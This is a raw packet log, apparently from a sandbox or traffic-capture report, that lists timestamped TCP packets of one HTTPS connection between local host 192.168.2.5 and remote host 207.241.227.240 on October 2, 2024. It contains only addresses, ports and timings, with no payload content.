Oct 2, 2024 05:27:11.677474976 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.677495003 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.677537918 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.715008974 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.715024948 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.715281010 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.715295076 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.715342045 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.727634907 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.727655888 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.727876902 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.727890015 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.727924109 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.728077888 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.728096008 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.728136063 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.728146076 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.728164911 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.728179932 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.728451967 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.728465080 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.728499889 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.728508949 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.728532076 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.728549957 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.728924990 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.728939056 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.728974104 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.728981972 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.729012012 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.729027033 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.729326963 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.729337931 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.729378939 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.729387999 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.729412079 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.729423046 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.729667902 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.729681969 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.729721069 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.729728937 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.729756117 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.729769945 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.737049103 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.767860889 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.767879009 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.768034935 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.768054962 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.768192053 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.805835962 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.805859089 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.806144953 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.806165934 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.806211948 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.818373919 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.818391085 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.818469048 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.818489075 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.818550110 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.818742037 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.818758011 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.818808079 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.818816900 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.818862915 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.819084883 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.819101095 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.819152117 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.819161892 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.819199085 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.819581985 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.819601059 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.819633007 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.819642067 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.819665909 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.819679976 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.819899082 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.819914103 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.819974899 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.819988012 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.820024967 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.820405006 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.820420980 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.820487976 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.820497036 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.820540905 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.825495958 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.858555079 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.858572960 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.858704090 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.858722925 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.858784914 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.896730900 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.896755934 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.897007942 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.897030115 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.897073030 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.909246922 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.909284115 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.909550905 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.909550905 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.909571886 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.909600973 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.909614086 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.909650087 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.909656048 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.909693956 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.909997940 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910012007 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910057068 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.910067081 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910082102 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.910106897 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.910339117 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910351992 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910393000 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.910402060 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910417080 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.910442114 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.910873890 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910891056 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910940886 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.910948992 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.910990953 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.911128044 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.911144018 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.911185980 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.911195993 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.911232948 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.918740034 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.949420929 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.949449062 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.949604034 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.949626923 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.949764967 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.987266064 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.987287998 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.987555027 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.987575054 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.987626076 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.000349998 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.000372887 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.000628948 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.000643015 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.000663996 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.000688076 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.000690937 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.000705004 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.000724077 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.000760078 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.000958920 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.000974894 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.001017094 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.001033068 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.001070976 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.001513958 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.001527071 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.001566887 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.001575947 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.001590014 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.001612902 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.001812935 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.001827955 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.001883984 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.001892090 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.001931906 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.001983881 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.002350092 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.002365112 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.002404928 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.002417088 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.002439022 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.002453089 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.040204048 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.040239096 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.040446043 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.040465117 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.040611029 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.078347921 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.078380108 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.078654051 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.078682899 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.078727007 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.090857983 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.090887070 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091043949 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.091064930 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091078997 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091108084 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091114998 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.091123104 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091157913 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.091193914 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.091569901 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091588020 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091633081 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.091643095 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091656923 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.091682911 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.091959953 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.091974020 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.092031956 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.092039108 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.092096090 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.092417955 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.092432976 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.092493057 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.092500925 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.092545986 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.092700958 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.092717886 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.092777014 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.092783928 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.092829943 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.130908012 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.130939007 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.131131887 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.131172895 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.131222010 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.168891907 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.168926001 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.169179916 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.169220924 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.169281960 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.181456089 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.181479931 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.181593895 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.181627989 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.181684017 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.181813955 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.181838989 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.181890965 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.181898117 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.181935072 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.182099104 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.182213068 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.182229042 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.182282925 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.182291985 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.182339907 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.182594061 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.182610989 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.182667017 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.182677984 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.182710886 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.183075905 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.183100939 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.183142900 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.183155060 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.183188915 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.183202982 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.183470011 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.183485985 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.183542013 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.183553934 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.183598042 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.221556902 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.221580029 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.221689939 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.221729994 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.221780062 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.259615898 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.259650946 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.259793997 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.259814978 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.259869099 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.272222996 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.272268057 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.272352934 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.272372007 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.272388935 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.272408962 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.272516012 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.272537947 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.272588015 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.272597075 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.272636890 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.272914886 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.272929907 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.272990942 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.272999048 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.273046017 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.273314953 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.273332119 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.273394108 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.273401976 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.273446083 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.273735046 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.273751020 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.273809910 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.273818016 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.273857117 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.274116039 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.274135113 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.274187088 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.274194956 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.274235964 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.312282085 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.312318087 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.312464952 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.312490940 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.312537909 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.350353956 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.350384951 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.350507975 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.350543022 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.350688934 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.362942934 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.362973928 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.363048077 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.363061905 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.363208055 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.363251925 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.363272905 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.363326073 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.363334894 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.363375902 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.363730907 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.363746881 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.363809109 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.363818884 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.363879919 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.364212990 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.364229918 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.364285946 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.364295959 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.364335060 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.364459038 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.364474058 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.364526987 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.364537001 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.364581108 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:12.364936113 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:12.364964008 CEST	443	49704	207.241.227.240	192.168.2.5
